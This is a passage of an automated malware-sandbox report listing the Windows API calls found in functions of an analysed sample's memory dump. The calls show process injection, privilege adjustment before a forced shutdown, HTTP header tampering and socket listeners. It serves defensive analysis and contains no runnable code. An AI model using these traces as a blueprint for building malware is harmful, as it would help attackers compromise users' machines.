      • Part of subcall function 00A0DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A0DE2A
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE57
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE87
      • Part of subcall function 00A0DD7A: FindNextFileW.KERNEL32(?,?), ref: 00A0DEB5
      • Part of subcall function 00A0DD7A: FindClose.KERNEL32(?), ref: 00A0DEC7
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F80FF, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52
    APIs
      • Part of subcall function 00A0834E: MultiByteToWideChar.KERNEL32(009F815B,00000000,?,?,?,?), ref: 00A08365
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
    • PathRenameExtensionW.SHLWAPI(?,.dat), ref: 009F817A
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A18964, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
    APIs
    • PathRemoveFileSpecW.SHLWAPI(00A24398), ref: 00A189A0
    • PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 00A189C0
      • Part of subcall function 00A0DC58: PathSkipRootW.SHLWAPI(?), ref: 00A0DC63
      • Part of subcall function 00A0DC58: GetFileAttributesW.KERNEL32(?), ref: 00A0DC8B
      • Part of subcall function 00A0DC58: CreateDirectoryW.KERNEL32(?,00000000), ref: 00A0DC99
      • Part of subcall function 00A0BBC6: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 00A0BBE5
      • Part of subcall function 00A0BBC6: GetSecurityDescriptorSacl.ADVAPI32(?,?,00000000,00000000), ref: 00A0BC01
      • Part of subcall function 00A0BBC6: SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,00000000), ref: 00A0BC18
      • Part of subcall function 00A0BBC6: LocalFree.KERNEL32(?), ref: 00A0BC27
    • GetFileAttributesW.KERNEL32(00A24190), ref: 00A189E3
      • Part of subcall function 009F80FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 009F817A
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F73FB, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
    APIs
    • GetModuleHandleW.KERNEL32(?), ref: 009F7412
    • VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000040,00000000), ref: 009F7451
    • VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000000,00000000), ref: 009F7467
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1BBC0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
    APIs
    • GetCurrentThreadId.KERNEL32 ref: 00A1BBCA
    • GetThreadDesktop.USER32 ref: 00A1BBD1
    • GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 00A1BBEB
      • Part of subcall function 00A1B7E3: TlsAlloc.KERNEL32(?,00A245C0,00000000), ref: 00A1B7FD
      • Part of subcall function 00A1B7E3: RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,00A245C0,00000000), ref: 00A1B824
      • Part of subcall function 00A1B7E3: CreateEventW.KERNEL32(00A22AFC,00000001,00000000,?), ref: 00A1B84B
      • Part of subcall function 00A1B7E3: CreateMutexW.KERNEL32(00A22AFC,00000000,?), ref: 00A1B86B
      • Part of subcall function 00A1B7E3: CreateFileMappingW.KERNEL32(00000000,00A22AFC,00000004,00000000,03D09128,?), ref: 00A1B893
      • Part of subcall function 00A1B7E3: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 00A1B8A9
      • Part of subcall function 00A1B7E3: GetDC.USER32(00000000), ref: 00A1B8C6
      • Part of subcall function 00A1B7E3: GetDeviceCaps.GDI32(?,00000008), ref: 00A1B8E6
      • Part of subcall function 00A1B7E3: GetDeviceCaps.GDI32(00000000,0000000A), ref: 00A1B8F0
      • Part of subcall function 00A1B7E3: CreateCompatibleBitmap.GDI32(00000000,?), ref: 00A1B8FD
      • Part of subcall function 00A1B7E3: ReleaseDC.USER32(00000000,00000000), ref: 00A1B925
      • Part of subcall function 00A1B7E3: CreateMutexW.KERNEL32(00A22AFC,00000000,?), ref: 00A1B9C9
      • Part of subcall function 00A1B7E3: GetDC.USER32(00000000), ref: 00A1B9DE
      • Part of subcall function 00A1B7E3: CreateCompatibleDC.GDI32 ref: 00A1B9EB
      • Part of subcall function 00A1B7E3: CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00A1BA00
      • Part of subcall function 00A1B7E3: SelectObject.GDI32(?), ref: 00A1BA17
      • Part of subcall function 00A1B7E3: ReleaseDC.USER32(00000000), ref: 00A1BA2D
      • Part of subcall function 00A1BA3D: DeleteObject.GDI32(00000000), ref: 00A1BA4D
      • Part of subcall function 00A1BA3D: CloseHandle.KERNEL32(00000000), ref: 00A1BA5D
      • Part of subcall function 00A1BA3D: TlsFree.KERNEL32 ref: 00A1BA68
      • Part of subcall function 00A1BA3D: CloseHandle.KERNEL32(00000000), ref: 00A1BA76
      • Part of subcall function 00A1BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 00A1BA80
      • Part of subcall function 00A1BA3D: CloseHandle.KERNEL32 ref: 00A1BA8D
      • Part of subcall function 00A1BA3D: SelectObject.GDI32(00000000,00000000), ref: 00A1BAA7
      • Part of subcall function 00A1BA3D: DeleteObject.GDI32(00000000), ref: 00A1BAB8
      • Part of subcall function 00A1BA3D: DeleteDC.GDI32(00000000), ref: 00A1BAC5
      • Part of subcall function 00A1BA3D: CloseHandle.KERNEL32(00000000), ref: 00A1BAD6
      • Part of subcall function 00A1BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00A1BAE5
      • Part of subcall function 00A1BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00A1BC3C,00000000,00A245C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00A1BAFE
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A075C9, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
    APIs
    • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000001,?,80000000), ref: 00A0762E
      • Part of subcall function 00A1A8DC: PathRemoveFileSpecW.SHLWAPI(?), ref: 00A1A902
      • Part of subcall function 00A1A8DC: PathRemoveFileSpecW.SHLWAPI(?), ref: 00A1A915
      • Part of subcall function 00A1A8DC: SHDeleteKeyW.SHLWAPI(80000001,?), ref: 00A1A953
      • Part of subcall function 00A1A8DC: CharToOemW.USER32(?,?), ref: 00A1A96F
      • Part of subcall function 00A1A8DC: CharToOemW.USER32(?,?), ref: 00A1A97E
      • Part of subcall function 00A1A8DC: ExitProcess.KERNEL32(00000000), ref: 00A1A9D6
      • Part of subcall function 00A10533: CreateMutexW.KERNEL32(00A22AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00A10556
    • ExitWindowsEx.USER32(00000014,80000000), ref: 00A07641
      • Part of subcall function 00A09B6C: GetCurrentThread.KERNEL32 ref: 00A09B7C
      • Part of subcall function 00A09B6C: OpenThreadToken.ADVAPI32 ref: 00A09B83
      • Part of subcall function 00A09B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00A19F61), ref: 00A09B95
      • Part of subcall function 00A09B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00A19F61,?), ref: 00A09BB9
      • Part of subcall function 00A09B6C: AdjustTokenPrivileges.ADVAPI32(00A19F61,00000000,00000001,00000000,00000000,00000000), ref: 00A09BCE
      • Part of subcall function 00A09B6C: GetLastError.KERNEL32 ref: 00A09BD8
      • Part of subcall function 00A09B6C: CloseHandle.KERNEL32(00A19F61), ref: 00A09BE7
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0DA51, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 00A0DA68
      • Part of subcall function 00A0977E: GetTickCount.KERNEL32 ref: 00A0977E
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
    • CreateDirectoryW.KERNEL32(?,00000000), ref: 00A0DABA
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0DC58, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
    APIs
    • PathSkipRootW.SHLWAPI(?), ref: 00A0DC63
    • GetFileAttributesW.KERNEL32(?), ref: 00A0DC8B
    • CreateDirectoryW.KERNEL32(?,00000000), ref: 00A0DC99
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F787A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
    APIs
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,C:\Documents and Settings\Administrator\Application Data), ref: 009F7898
    • PathRemoveBackslashW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data), ref: 009F78A7
    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 009F78BB
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A09CA7, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26
    APIs
    • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00A09CB4
    • GetProcAddress.KERNEL32(?,IsWow64Process), ref: 00A09CC4
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1131B, Relevance: 6.3, APIs: 4, Instructions: 299
    APIs
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,000000FF), ref: 00A114ED
    • RegQueryValueExW.ADVAPI32(000000FF,?,00000000,00000000,?,?), ref: 00A1150D
    • RegCloseKey.ADVAPI32(000000FF), ref: 00A11520
    • GetLocalTime.KERNEL32(?), ref: 00A1152F
      • Part of subcall function 00A080EB: HeapAlloc.KERNEL32(00000008,?,00A0847D,?,009F7A97,?,00A08FC7,?,?,009F7A97,?,?,00A08F77,?,?,?), ref: 00A0810D
      • Part of subcall function 00A080EB: HeapReAlloc.KERNEL32(00000008,?,?,00A0847D,?,009F7A97,?,00A08FC7,?,?,009F7A97,?,?,00A08F77,?,?), ref: 00A0811E
      • Part of subcall function 00A09656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00A0966F
      • Part of subcall function 00A09656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00A09687
      • Part of subcall function 00A09656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 00A096A3
      • Part of subcall function 00A09656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00A096BB
      • Part of subcall function 00A09656: CryptDestroyHash.ADVAPI32(?), ref: 00A096D2
      • Part of subcall function 00A09656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A096DC
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1487D, Relevance: 6.2, APIs: 4, Instructions: 194
    APIs
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 00A1493D
      • Part of subcall function 00A0C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00A0C6C6
      • Part of subcall function 00A0C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A0C748
    • RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00A149F6
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
      • Part of subcall function 00A0C7BB: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00A1C5CF,?), ref: 00A0C7D3
      • Part of subcall function 00A0C7BB: RegCloseKey.ADVAPI32(?), ref: 00A0C7E1
    • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00A14A8C
    • RegCloseKey.ADVAPI32(?), ref: 00A14A9D
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A17D9B, Relevance: 6.1, APIs: 4, Instructions: 143
    APIs
      • Part of subcall function 00A17C82: HttpQueryInfoA.WININET(?,0000002D,?,?,00000000), ref: 00A17CE1
      • Part of subcall function 00A11A14: EnterCriticalSection.KERNEL32(00A23FEC,?,00000000,00000000), ref: 00A11A2F
      • Part of subcall function 00A11A14: LeaveCriticalSection.KERNEL32(00A23FEC,?,00000000,00000000), ref: 00A11AB2
      • Part of subcall function 00A11A14: InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00A11C6F
      • Part of subcall function 00A11A14: InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00A11DEB
    • SetLastError.KERNEL32(00002F78,?), ref: 00A17DFA
      • Part of subcall function 00A170E4: EnterCriticalSection.KERNEL32(00A240F8,?,?,00A1789F), ref: 00A170EE
      • Part of subcall function 00A170E4: LeaveCriticalSection.KERNEL32(00A240F8,?,00A1789F), ref: 00A1710F
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000,?), ref: 00A17E8B
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,80000000), ref: 00A17EA6
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,80000000), ref: 00A17EC1
      • Part of subcall function 00A0A124: InternetQueryOptionA.WININET(?,00000015,?,?), ref: 00A0A146
      • Part of subcall function 00A0A124: InternetQueryOptionA.WININET(?,00000015,?,?), ref: 00A0A168
      • Part of subcall function 00A0A124: InternetCloseHandle.WININET(?), ref: 00A0A170
      • Part of subcall function 00A126E6: CreateThread.KERNEL32(00000000,00000000,Function_000224CC,?), ref: 00A1272B
      • Part of subcall function 00A126E6: CloseHandle.KERNEL32(?), ref: 00A12744
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
      • Part of subcall function 00A1711A: CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A17142
      • Part of subcall function 00A1711A: InterlockedIncrement.KERNEL32(00A24120,?,?), ref: 00A1716A
      • Part of subcall function 00A1711A: EnterCriticalSection.KERNEL32(00A240F8,?,?,?,00000001,00A17E1C,?), ref: 00A17176
      • Part of subcall function 00A1711A: LeaveCriticalSection.KERNEL32(00A240F8,?,?,?,00000001,00A17E1C,?), ref: 00A1718C
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F8C09, Relevance: 6.1, APIs: 4, Instructions: 130
    APIs
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 009F8C30
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
    • GetFileAttributesW.KERNEL32(?), ref: 009F8C84
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
    • GetPrivateProfileIntW.KERNEL32(?,?,000000FF,?), ref: 009F8CE7
    • GetPrivateProfileStringW.KERNEL32(?,00000000,00000000,?,00000104,?), ref: 009F8D15
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A16166, Relevance: 6.1, APIs: 4, Instructions: 95
    APIs
    • GetModuleHandleA.KERNEL32(?), ref: 00A16181
    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 00A1619F
    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 00A161AD
    • IsBadReadPtr.KERNEL32(?,00000010), ref: 00A1623C
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0CE96, Relevance: 6.1, APIs: 4, Instructions: 94
    APIs
    • IsBadReadPtr.KERNEL32(009F0000,?), ref: 00A0CEB2
    • VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 00A0CED0
    • WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 00A0CF62
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00A0CF87
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0F911, Relevance: 6.1, APIs: 4, Instructions: 86
    APIs
    • CoCreateInstance.OLE32(009F1620,00000000,00004401,009F1610,?), ref: 00A0F937
    • #8.OLEAUT32(?,?,000000FF,?,00000000,?,00000000,?,00000000), ref: 00A0F983
    • #2.OLEAUT32(?,?,000000FF,?,00000000,?,00000000,?,00000000), ref: 00A0F993
    • #9.OLEAUT32(?,?,00000000,?,?,?,?,?,?,?,00A15872,?,?,?), ref: 00A0F9CC
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0E6D5, Relevance: 6.1, APIs: 4, Instructions: 84
    APIs
      • Part of subcall function 00A0D8FE: SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001), ref: 00A0D913
      • Part of subcall function 00A0D8DE: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00A0D8F0
    • WriteFile.KERNEL32(?,?,00000005,?,00000000), ref: 00A0E754
    • WriteFile.KERNEL32(?,00000005,00A00000,00000005,00000000), ref: 00A0E76D
    • SetEndOfFile.KERNEL32 ref: 00A0E791
    • FlushFileBuffers.KERNEL32(?), ref: 00A0E799
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A049F6, Relevance: 6.1, APIs: 4, Instructions: 71
    APIs
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00A04A0F
      • Part of subcall function 00A09EB0: CloseHandle.KERNEL32(00000000), ref: 00A09EC2
      • Part of subcall function 00A09EB0: CloseHandle.KERNEL32 ref: 00A09ECB
      • Part of subcall function 009F80FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 009F817A
    • ResetEvent.KERNEL32(?), ref: 00A04A65
    • WaitForSingleObject.KERNEL32(?,000003E8), ref: 00A04AA0
    • TerminateProcess.KERNEL32(?,00000000), ref: 00A04AB1
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0B708, Relevance: 6.1, APIs: 4, Instructions: 70
    APIs
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00A0B733
    • recv.WS2_32(?,?,00000400,00000000), ref: 00A0B77B
    • #19.WS2_32(?,?,?,00000000,?,?,00000400,00000000), ref: 00A0B795
    • select.WS2_32(00000000,?,00000000,00000000,?), ref: 00A0B7D5
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A101A6, Relevance: 6.1, APIs: 4, Instructions: 63
    APIs
      • Part of subcall function 009F7ED5: CreateMutexW.KERNEL32(00A22AFC,00000000,?), ref: 009F7EF6
    • GetTickCount.KERNEL32 ref: 00A101F8
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • GetTickCount.KERNEL32 ref: 00A10220
      • Part of subcall function 00A0FE76: WaitForSingleObject.KERNEL32(00002710), ref: 00A0FFFD
      • Part of subcall function 00A0FE76: CharLowerA.USER32(00000000), ref: 00A10142
    • GetTickCount.KERNEL32 ref: 00A10239
    • WaitForSingleObject.KERNEL32 ref: 00A1024B
      • Part of subcall function 00A0BD18: ReleaseMutex.KERNEL32 ref: 00A0BD1C
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1711A, Relevance: 6.1, APIs: 4, Instructions: 56
    APIs
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A17142
    • InterlockedIncrement.KERNEL32(00A24120,?,?), ref: 00A1716A
    • EnterCriticalSection.KERNEL32(00A240F8,?,?,?,00000001,00A17E1C,?), ref: 00A17176
    • LeaveCriticalSection.KERNEL32(00A240F8,?,?,?,00000001,00A17E1C,?), ref: 00A1718C
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A048D8, Relevance: 6.1, APIs: 4, Instructions: 53
    APIs
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • TlsGetValue.KERNEL32 ref: 00A048F4
    • SaveDC.GDI32(?), ref: 00A04925
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00A04937
    • RestoreDC.GDI32(?), ref: 00A04949
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0BCB2, Relevance: 6.0, APIs: 4, Instructions: 42
    APIs
    • TranslateMessage.USER32(?), ref: 00A0BCD4
    • DispatchMessageW.USER32(?), ref: 00A0BCDF
    • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 00A0BCEF
    • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00A0BD03
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1026D, Relevance: 6.0, APIs: 4, Instructions: 40
    APIs
      • Part of subcall function 009F7ED5: CreateMutexW.KERNEL32(00A22AFC,00000000,?), ref: 009F7EF6
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • GetCurrentThread.KERNEL32 ref: 00A1028E
    • SetThreadPriority.KERNEL32 ref: 00A10295
    • WaitForSingleObject.KERNEL32(00001388), ref: 00A102AD
      • Part of subcall function 00A16F66: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A16F87
      • Part of subcall function 00A16F66: Process32FirstW.KERNEL32(?,?), ref: 00A16FB0
      • Part of subcall function 00A16F66: OpenProcess.KERNEL32(00000400,00000000,?), ref: 00A1700B
      • Part of subcall function 00A16F66: CloseHandle.KERNEL32 ref: 00A17028
      • Part of subcall function 00A16F66: GetLengthSid.ADVAPI32(?,?,?,?), ref: 00A1703B
      • Part of subcall function 00A16F66: CloseHandle.KERNEL32(?), ref: 00A170AC
      • Part of subcall function 00A16F66: Process32NextW.KERNEL32(?,0000022C), ref: 00A170B8
      • Part of subcall function 00A16F66: CloseHandle.KERNEL32(?), ref: 00A170C9
    • WaitForSingleObject.KERNEL32(00001388), ref: 00A102C2
      • Part of subcall function 00A0BD18: ReleaseMutex.KERNEL32 ref: 00A0BD1C
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A091F6, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A03FFE, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 215
    APIs
      • Part of subcall function 00A0BAFD: getsockname.WS2_32(?,?,?), ref: 00A0BB1B
      • Part of subcall function 00A0B3EC: recv.WS2_32(?,?,00000004,00000000), ref: 00A0B410
    • getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00A040CD
    • freeaddrinfo.WS2_32(?), ref: 00A04103
      • Part of subcall function 00A0B57B: socket.WS2_32(?,00000001,00000006), ref: 00A0B584
      • Part of subcall function 00A0B57B: bind.WS2_32 ref: 00A0B5A4
      • Part of subcall function 00A0B57B: listen.WS2_32(?,00000000), ref: 00A0B5B3
      • Part of subcall function 00A0B57B: #3.WS2_32(?,?,?,?,?,00000001,00000006,?,009FA401,7FFFFFFF,00000000,?), ref: 00A0B5BE
      • Part of subcall function 00A0B8B2: accept.WS2_32(?,00000000,00000001), ref: 00A0B8DB
      • Part of subcall function 00A0B481: socket.WS2_32(?,00000001,00000006), ref: 00A0B48A
      • Part of subcall function 00A0B481: connect.WS2_32 ref: 00A0B4AA
      • Part of subcall function 00A0B481: #3.WS2_32(?,?,?,?,?,00000001,00000006,?,00A0B560,?,?,?,?,00A1AB8E,?,54C73B8B), ref: 00A0B4B5
      • Part of subcall function 00A0B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00A0B953
      • Part of subcall function 00A0B654: recv.WS2_32(?,?,00000400,00000000), ref: 00A0B69D
      • Part of subcall function 00A0B654: #19.WS2_32(?,?,?,00000000,?,?,00000400,00000000), ref: 00A0B6B7
      • Part of subcall function 00A0B654: select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 00A0B6F4
      • Part of subcall function 00A0B8E5: shutdown.WS2_32(?,00000002), ref: 00A0B8ED
      • Part of subcall function 00A0B8E5: #3.WS2_32(?,?,00000002,009FA43E), ref: 00A0B8F4
      • Part of subcall function 00A03F88: getpeername.WS2_32(000000FF,00000000,00000000), ref: 00A03FAC
      • Part of subcall function 00A03F88: getsockname.WS2_32(000000FF,00000000,00000000), ref: 00A03FBB
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0FE76, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 213
    APIs
      • Part of subcall function 00A0A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 00A0A44F
      • Part of subcall function 00A0A3FB: Sleep.KERNEL32(?), ref: 00A0A462
      • Part of subcall function 00A0A3FB: InternetCloseHandle.WININET ref: 00A0A4E8
